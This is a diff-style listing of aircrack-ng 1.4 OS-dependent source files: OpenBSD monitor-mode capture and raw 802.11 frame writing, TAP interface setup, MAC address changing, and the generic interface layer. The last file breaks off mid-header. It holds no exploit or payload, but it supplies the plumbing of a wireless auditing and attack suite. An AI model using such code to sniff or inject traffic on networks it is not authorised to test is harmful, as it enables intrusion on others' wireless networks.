+	if ((int) bpfh->bh_caplen < *totlen)
+	{
+		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+		int offset = BPF_WORDALIGN(tot);
+
+		*data = (unsigned char *) bpfh + offset;
+		*totlen -= offset - tot; /* take into account align bytes */
+	}
+	else if ((int) bpfh->bh_caplen > *totlen)
+		abort();
+
+	*plen = bpfh->bh_caplen;
+	*totlen -= bpfh->bh_caplen;
+	assert(*totlen >= 0);
+
+	/* radiotap */
+	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
+												+ bpfh->bh_hdrlen);
+	get_radiotap_info(po, rth, plen, ri);
+	*plen -= rth->it_len;
+	assert(*plen > 0);
+
+	/* data */
+	ptr = (char *) rth + rth->it_len;
+
+	return ptr;
+}
+
+static int obsd_get_channel(struct wif * wi)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+
+	if (ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+
+	return channel.i_channel;
+}
+
+static int obsd_set_channel(struct wif * wi, int chan)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+	channel.i_channel = chan;
+	if (ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+	po->po_chan = chan;
+
+	return 0;
+}
+
+static int
+obsd_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	unsigned char * wh;
+	int plen;
+
+	assert(len > 0);
+
+	/* need to read more */
+	while (po->po_totlen == 0)
+	{
+		po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf));
+		if (po->po_totlen == -1)
+		{
+			po->po_totlen = 0;
+			return -1;
+		}
+		po->po_next = po->po_buf;
+	}
+
+	/* read 802.11 packet */
+	wh = get_80211(po, &plen, ri);
+	if (plen > len) plen = len;
+	assert(plen > 0);
+	memcpy(h80211, wh, plen);
+
+	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return plen;
+}
+
+static int obsd_write(struct wif * wi,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	int rc;
+
+	/* XXX make use of ti */
+	if (ti)
+	{
+	}
+
+	rc = write(po->po_fd, h80211, len);
+	if (rc == -1) return rc;
+
+	return 0;
+}
+
+static void do_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void obsd_close(struct wif * wi)
+{
+	struct priv_obsd * po = wi_priv(wi);
+
+	close(po->po_fd);
+	close(po->po_s);
+	do_free(wi);
+}
+
+static int do_obsd_open(struct wif * wi, char * iface)
+{
+	int i;
+	char buf[64];
+	int fd = -1;
+	struct ifreq ifr;
+	unsigned int dlt = DLT_IEEE802_11_RADIO;
+	int s;
+	unsigned int flags;
+	struct ifmediareq ifmr;
+	int * mwords;
+	struct priv_obsd * po = wi_priv(wi);
+	unsigned int size = sizeof(po->po_buf);
+
+	/* basic sanity check */
+	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
+
+	/* open wifi */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) return -1;
+	po->po_s = s;
+
+	/* set iface up and promisc */
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
+
+	flags = ifr.ifr_flags;
+	flags |= IFF_UP | IFF_PROMISC;
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
+
+	/* monitor mode */
+	memset(&ifmr, 0, sizeof(ifmr));
+	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
+
+	assert(ifmr.ifm_count != 0);
+
+	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
+	if (!mwords) goto close_sock;
+	ifmr.ifm_ulist = mwords;
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
+	{
+		free(mwords);
+		goto close_sock;
+	}
+	free(mwords);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
+	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
+
+	/* setup ifreq for chan that may be used in future */
+	strncpy(po->po_ireq.i_name, iface, IFNAMSIZ);
+
+	/* same for ifreq [mac addr] */
+	strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
+
+	/* open bpf */
+	for (i = 0; i < 256; i++)
+	{
+		snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
+
+		fd = open(buf, O_RDWR);
+		if (fd < 0)
+		{
+			if (errno != EBUSY) return -1;
+			continue;
+		}
+		else
+			break;
+	}
+
+	if (fd < 0) goto close_sock;
+
+	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
+
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+
+	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf;
+
+	dlt = 1;
+	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
+
+	return fd;
+
+close_sock:
+	close(s);
+	return -1;
+close_bpf:
+	close(fd);
+	goto close_sock;
+}
+
+static int obsd_fd(struct wif * wi)
+{
+	struct priv_obsd * po = wi_priv(wi);
+
+	return po->po_fd;
+}
+
+static int obsd_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct ifaddrs *ifa, *p;
+	char * name = wi_get_ifname(wi);
+	int rc = -1;
+	struct sockaddr_dl * sdp;
+
+	if (getifaddrs(&ifa) == -1) return -1;
+
+	p = ifa;
+	while (p)
+	{
+		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
+		{
+
+			sdp = (struct sockaddr_dl *) p->ifa_addr;
+			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
+			rc = 0;
+			break;
+		}
+
+		p = p->ifa_next;
+	}
+	freeifaddrs(ifa);
+
+	return rc;
+}
+
+static int obsd_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int obsd_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 1000000;
+}
+
+static int obsd_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int obsd_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	struct ifreq * ifr = &po->po_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(po->po_s, SIOCSIFLLADDR, ifr);
+}
+
+static struct wif * obsd_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_obsd * po;
+	int fd;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*po));
+	if (!wi) return NULL;
+	wi->wi_read = obsd_read;
+	wi->wi_write = obsd_write;
+	wi->wi_set_channel = obsd_set_channel;
+	wi->wi_get_channel = obsd_get_channel;
+	wi->wi_close = obsd_close;
+	wi->wi_fd = obsd_fd;
+	wi->wi_get_mac = obsd_get_mac;
+	wi->wi_set_mac = obsd_set_mac;
+	wi->wi_get_rate = obsd_get_rate;
+	wi->wi_set_rate = obsd_set_rate;
+	wi->wi_get_monitor = obsd_get_monitor;
+
+	/* setup iface */
+	fd = do_obsd_open(wi, iface);
+	if (fd == -1)
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	po = wi_priv(wi);
+	po->po_fd = fd;
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return obsd_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+#if defined(__FreeBSD__)
+	int value;
+	size_t len;
+
+	len = 1;
+	value = 0;
+	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
+	if (value == 0)
+	{
+		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
+		value = value * 60;
+	}
+	else
+	{
+		value = 0;
+	}
+
+	return (value);
+#elif defined(_BSD_SOURCE)
+	struct apm_power_info api;
+	int apmfd;
+	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
+	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
+	{
+		close(apmfd);
+		return 0;
+	}
+	close(apmfd);
+	if (api.battery_state == APM_BATT_UNKNOWN
+		|| api.battery_state == APM_BATTERY_ABSENT
+		|| api.battery_state == APM_BATT_CHARGING
+		|| api.ac_state == APM_AC_ON)
+	{
+		return 0;
+	}
+	return ((int) (api.minutes_left)) * 60;
+#else
+	return 0;
+#endif
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/openbsd_tap.c Added

@@ -0,0 +1,217 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for OpenBSD. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+struct tip_obsd
+{
+	int to_fd;
+	int to_ioctls;
+	struct ifreq to_ifr;
+	char to_name[MAX_IFACE_NAME];
+	int to_destroy;
+};
+
+static int ti_do_open_obsd(struct tif * ti, char * name)
+{
+	int fd;
+	char * iface = "/dev/tap";
+	struct stat st;
+	struct tip_obsd * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+
+	/* open tap */
+	if (name)
+		iface = name;
+	else
+		priv->to_destroy = 1; /* we create, we destroy */
+
+	fd = open(iface, O_RDWR);
+	if (fd == -1) return -1;
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->to_name,
+			 sizeof(priv->to_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->to_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->to_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->to_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = ifr->ifr_flags;
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_obsd * priv)
+{
+	ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr);
+}
+
+static void ti_close_obsd(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	if (priv->to_destroy) ti_destroy(priv);
+
+	close(priv->to_fd);
+	close(priv->to_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_obsd(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	return priv->to_name;
+}
+
+static int ti_set_mtu_obsd(struct tif * ti, int mtu)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	priv->to_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr);
+}
+
+static int ti_set_mac_obsd(struct tif * ti, unsigned char * mac)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->to_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr);
+}
+
+static int ti_set_ip_obsd(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_obsd(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	return priv->to_fd;
+}
+
+static int ti_read_obsd(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_obsd(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_obsd(char * iface)
+{
+	struct tif * ti;
+	struct tip_obsd * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_obsd;
+	ti->ti_set_mtu = ti_set_mtu_obsd;
+	ti->ti_close = ti_close_obsd;
+	ti->ti_fd = ti_fd_obsd;
+	ti->ti_read = ti_read_obsd;
+	ti->ti_write = ti_write_obsd;
+	ti->ti_set_mac = ti_set_mac_obsd;
+	ti->ti_set_ip = ti_set_ip_obsd;
+
+	/* setup iface */
+	fd = ti_do_open_obsd(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->to_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_obsd(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/osdep.c Added

@@ -0,0 +1,252 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <stdlib.h>
+#include <assert.h>
+#include <string.h>
+
+#include "osdep.h"
+#include "network.h"
+
+extern struct wif * file_open(char * iface);
+
+EXPORT int
+wi_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
+{
+	assert(wi->wi_read);
+	return wi->wi_read(wi, h80211, len, ri);
+}
+
+EXPORT int
+wi_write(struct wif * wi, unsigned char * h80211, int len, struct tx_info * ti)
+{
+	assert(wi->wi_write);
+	return wi->wi_write(wi, h80211, len, ti);
+}
+
+EXPORT int wi_set_ht_channel(struct wif * wi, int chan, unsigned int htval)
+{
+	assert(wi->wi_set_ht_channel);
+	return wi->wi_set_ht_channel(wi, chan, htval);
+}
+
+EXPORT int wi_set_channel(struct wif * wi, int chan)
+{
+	assert(wi->wi_set_channel);
+	return wi->wi_set_channel(wi, chan);
+}
+
+EXPORT int wi_get_channel(struct wif * wi)
+{
+	assert(wi->wi_get_channel);
+	return wi->wi_get_channel(wi);
+}
+
+EXPORT int wi_set_freq(struct wif * wi, int freq)
+{
+	assert(wi->wi_set_freq);
+	return wi->wi_set_freq(wi, freq);
+}
+
+EXPORT int wi_get_freq(struct wif * wi)
+{
+	assert(wi->wi_get_freq);
+	return wi->wi_get_freq(wi);
+}
+
+EXPORT int wi_get_monitor(struct wif * wi)
+{
+	assert(wi->wi_get_monitor);
+	return wi->wi_get_monitor(wi);
+}
+
+EXPORT char * wi_get_ifname(struct wif * wi) { return wi->wi_interface; }
+
+EXPORT void wi_close(struct wif * wi)
+{
+	assert(wi->wi_close);
+	wi->wi_close(wi);
+}
+
+EXPORT int wi_fd(struct wif * wi)
+{
+	assert(wi->wi_fd);
+	return wi->wi_fd(wi);
+}
+
+struct wif * wi_alloc(int sz)
+{
+	struct wif * wi;
+	void * priv;
+
+	/* Allocate wif & private state */
+	wi = malloc(sizeof(*wi));
+	if (!wi) return NULL;
+	memset(wi, 0, sizeof(*wi));
+
+	priv = malloc(sz);
+	if (!priv)
+	{
+		free(wi);
+		return NULL;
+	}
+	memset(priv, 0, sz);
+	wi->wi_priv = priv;
+
+	return wi;
+}
+
+void * wi_priv(struct wif * wi) { return wi->wi_priv; }
+
+EXPORT int wi_get_mac(struct wif * wi, unsigned char * mac)
+{
+	assert(wi->wi_get_mac);
+	return wi->wi_get_mac(wi, mac);
+}
+
+EXPORT int wi_set_mac(struct wif * wi, unsigned char * mac)
+{
+	assert(wi->wi_set_mac);
+	return wi->wi_set_mac(wi, mac);
+}
+
+EXPORT int wi_get_rate(struct wif * wi)
+{
+	assert(wi->wi_get_rate);
+	return wi->wi_get_rate(wi);
+}
+
+EXPORT int wi_set_rate(struct wif * wi, int rate)
+{
+	assert(wi->wi_set_rate);
+	return wi->wi_set_rate(wi, rate);
+}
+
+EXPORT int wi_get_mtu(struct wif * wi)
+{
+	assert(wi->wi_get_mtu);
+	return wi->wi_get_mtu(wi);
+}
+
+EXPORT int wi_set_mtu(struct wif * wi, int mtu)
+{
+	assert(wi->wi_set_mtu);
+	return wi->wi_set_mtu(wi, mtu);
+}
+
+EXPORT struct wif * wi_open(char * iface)
+{
+	struct wif * wi;
+
+	if (iface == NULL || iface[0] == 0)
+	{
+		return NULL;
+	}
+
+	wi = file_open(iface);
+	if (wi == (struct wif *) -1) return NULL;
+	if (!wi) wi = net_open(iface);
+	if (!wi) wi = wi_open_osdep(iface);
+	if (!wi) return NULL;
+
+	strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface) - 1);
+	wi->wi_interface[sizeof(wi->wi_interface) - 1] = 0;
+
+	return wi;
+}
+
+/* tap stuff */
+EXPORT char * ti_name(struct tif * ti)
+{
+	assert(ti->ti_name);
+	return ti->ti_name(ti);
+}
+
+EXPORT int ti_set_mtu(struct tif * ti, int mtu)
+{
+	assert(ti->ti_set_mtu);
+	return ti->ti_set_mtu(ti, mtu);
+}
+
+EXPORT int ti_get_mtu(struct tif * ti)
+{
+	assert(ti->ti_get_mtu);
+	return ti->ti_get_mtu(ti);
+}
+
+EXPORT void ti_close(struct tif * ti)
+{
+	assert(ti->ti_close);
+	ti->ti_close(ti);
+}
+
+EXPORT int ti_fd(struct tif * ti)
+{
+	assert(ti->ti_fd);
+	return ti->ti_fd(ti);
+}
+
+EXPORT int ti_read(struct tif * ti, void * buf, int len)
+{
+	assert(ti->ti_read);
+	return ti->ti_read(ti, buf, len);
+}
+
+EXPORT int ti_write(struct tif * ti, void * buf, int len)
+{
+	assert(ti->ti_write);
+	return ti->ti_write(ti, buf, len);
+}
+
+EXPORT int ti_set_mac(struct tif * ti, unsigned char * mac)
+{
+	assert(ti->ti_set_mac);
+	return ti->ti_set_mac(ti, mac);
+}
+
+EXPORT int ti_set_ip(struct tif * ti, struct in_addr * ip)
+{
+	assert(ti->ti_set_ip);
+	return ti->ti_set_ip(ti, ip);
+}
+
+struct tif * ti_alloc(int sz)
+{
+	struct tif * ti;
+	void * priv;
+
+	/* Allocate tif & private state */
+	ti = malloc(sizeof(*ti));
+	if (!ti) return NULL;
+	memset(ti, 0, sizeof(*ti));
+
+	priv = malloc(sz);
+	if (!priv)
+	{
+		free(ti);
+		return NULL;
+	}
+	memset(priv, 0, sz);
+	ti->ti_priv = priv;
+
+	return ti;
+}
+
+void * ti_priv(struct tif * ti) { return ti->ti_priv; }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/osdep.h Added

@@ -0,0 +1,203 @@
+/*
+ * Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All OS dependent crap should go here.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef __AIRCRACK_NG_OSEDEP_H__
+#define __AIRCRACK_NG_OSEDEP_H__
+
+#include <netinet/in.h>
+#include <stdint.h>
+
+#include "byteorder.h"
+#include "packed.h"
+
+#if defined(__APPLE_CC__) && defined(_XCODE)
+#include <pcap/bpf.h>
+#undef LINKTYPE_RADIOTAP_HDR
+#define LINKTYPE_RADIOTAP_HDR DLT_IEEE802_11_RADIO
+#undef LINKTYPE_IEEE802_11
+#define LINKTYPE_IEEE802_11 DLT_IEEE802_11
+#undef LINKTYPE_PRISM_HEADER
+#define LINKTYPE_PRISM_HEADER DLT_PRISM_HEADER
+#undef LINKTYPE_ETHERNET
+#define LINKTYPE_ETHERNET DLT_ERF_ETH
+#undef LINKTYPE_PPI_HDR
+#define LINKTYPE_PPI_HDR DLT_PPI
+#undef TCPDUMP_MAGIC
+#define TCPDUMP_MAGIC 0xa1b2c3d4
+#endif
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+/* For all structures, when adding new fields, always append them to the end.
+ * This way legacy binary code does not need to be recompiled.  This is
+ * particularly useful for DLLs.  -sorbo
+ */
+
+struct tx_info
+{
+	unsigned int ti_rate;
+};
+
+struct rx_info
+{
+	uint64_t ri_mactime;
+	int32_t ri_power;
+	int32_t ri_noise;
+	uint32_t ri_channel;
+	uint32_t ri_freq;
+	uint32_t ri_rate;
+	uint32_t ri_antenna;
+} __packed;
+
+/* Normal code should not access this directly.  Only osdep.
+ * This structure represents a single interface.  It should be created with
+ * wi_open and destroyed with wi_close.
+ */
+#define MAX_IFACE_NAME 64
+struct wif
+{
+	int (*wi_read)(struct wif * wi,
+				   unsigned char * h80211,
+				   int len,
+				   struct rx_info * ri);
+	int (*wi_write)(struct wif * wi,
+					unsigned char * h80211,
+					int len,
+					struct tx_info * ti);
+	int (*wi_set_ht_channel)(struct wif * wi, int chan, unsigned int htval);
+	int (*wi_set_channel)(struct wif * wi, int chan);
+	int (*wi_get_channel)(struct wif * wi);
+	int (*wi_set_freq)(struct wif * wi, int freq);
+	int (*wi_get_freq)(struct wif * wi);
+	void (*wi_close)(struct wif * wi);
+	int (*wi_fd)(struct wif * wi);
+	int (*wi_get_mac)(struct wif * wi, unsigned char * mac);
+	int (*wi_set_mac)(struct wif * wi, unsigned char * mac);
+	int (*wi_set_rate)(struct wif * wi, int rate);
+	int (*wi_get_rate)(struct wif * wi);
+	int (*wi_set_mtu)(struct wif * wi, int mtu);
+	int (*wi_get_mtu)(struct wif * wi);
+	int (*wi_get_monitor)(struct wif * wi);
+
+	void * wi_priv;
+	char wi_interface[MAX_IFACE_NAME];
+};
+
+/* Routines to be used by client code */
+IMPORT struct wif * wi_open(char * iface);
+IMPORT int
+wi_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri);
+IMPORT int
+wi_write(struct wif * wi, unsigned char * h80211, int len, struct tx_info * ti);
+IMPORT int wi_set_channel(struct wif * wi, int chan);
+IMPORT int wi_set_ht_channel(struct wif * wi, int chan, unsigned int htval);
+IMPORT int wi_get_channel(struct wif * wi);
+IMPORT int wi_set_freq(struct wif * wi, int freq);
+IMPORT int wi_get_freq(struct wif * wi);
+IMPORT void wi_close(struct wif * wi);
+IMPORT char * wi_get_ifname(struct wif * wi);
+IMPORT int wi_get_mac(struct wif * wi, unsigned char * mac);
+IMPORT int wi_set_mac(struct wif * wi, unsigned char * mac);
+IMPORT int wi_get_rate(struct wif * wi);
+IMPORT int wi_set_rate(struct wif * wi, int rate);
+IMPORT int wi_get_monitor(struct wif * wi);
+IMPORT int wi_get_mtu(struct wif * wi);
+IMPORT int wi_set_mtu(struct wif * wi, int mtu);
+
+/* wi_open_osdep should determine the type of card and setup the wif structure
+ * appropriately.  There is one per OS.  Called by wi_open.
+ */
+extern struct wif * wi_open_osdep(char * iface);
+
+/* This will return the FD used for reading.  This is required for using select
+ * on it.
+ */
+IMPORT int wi_fd(struct wif * wi);
+
+/* Helper routines for osdep code.  */
+extern struct wif * wi_alloc(int sz);
+extern void * wi_priv(struct wif * wi);
+
+/* Client code can use this to determine the battery state.  One per OS. */
+IMPORT int get_battery_state(void);
+
+/* Client code can create a tap interface */
+/* XXX we can unify the tap & wi stuff in the future, but for now, lets keep
+ * them separate until we learn something.
+ */
+struct tif
+{
+	int (*ti_read)(struct tif * ti, void * buf, int len);
+	int (*ti_write)(struct tif * ti, void * buf, int len);
+	int (*ti_fd)(struct tif * ti);
+	char * (*ti_name)(struct tif * ti);
+	int (*ti_set_mtu)(struct tif * ti, int mtu);
+	int (*ti_get_mtu)(struct tif * ti);
+	int (*ti_set_ip)(struct tif * ti, struct in_addr * ip);
+	int (*ti_set_mac)(struct tif * ti, unsigned char * mac);
+	void (*ti_close)(struct tif * ti);
+
+	void * ti_priv;
+};
+/* one per OS */
+IMPORT struct tif * ti_open(char * iface);
+
+/* osdep routines */
+extern struct tif * ti_alloc(int sz);
+extern void * ti_priv(struct tif * ti);
+
+/* client routines */
+IMPORT char * ti_name(struct tif * ti);
+IMPORT int ti_set_mtu(struct tif * ti, int mtu);
+IMPORT int ti_get_mtu(struct tif * ti);
+IMPORT void ti_close(struct tif * ti);
+IMPORT int ti_fd(struct tif * ti);
+IMPORT int ti_read(struct tif * ti, void * buf, int len);
+IMPORT int ti_write(struct tif * ti, void * buf, int len);
+IMPORT int ti_set_mac(struct tif * ti, unsigned char * mac);
+IMPORT int ti_set_ip(struct tif * ti, struct in_addr * ip);
+
+#endif /* __AIRCRACK_NG_OSEDEP_H__ */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/packed.h Added

@@ -0,0 +1,46 @@
+/*
+ * Pack structures
+ *
+ * Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
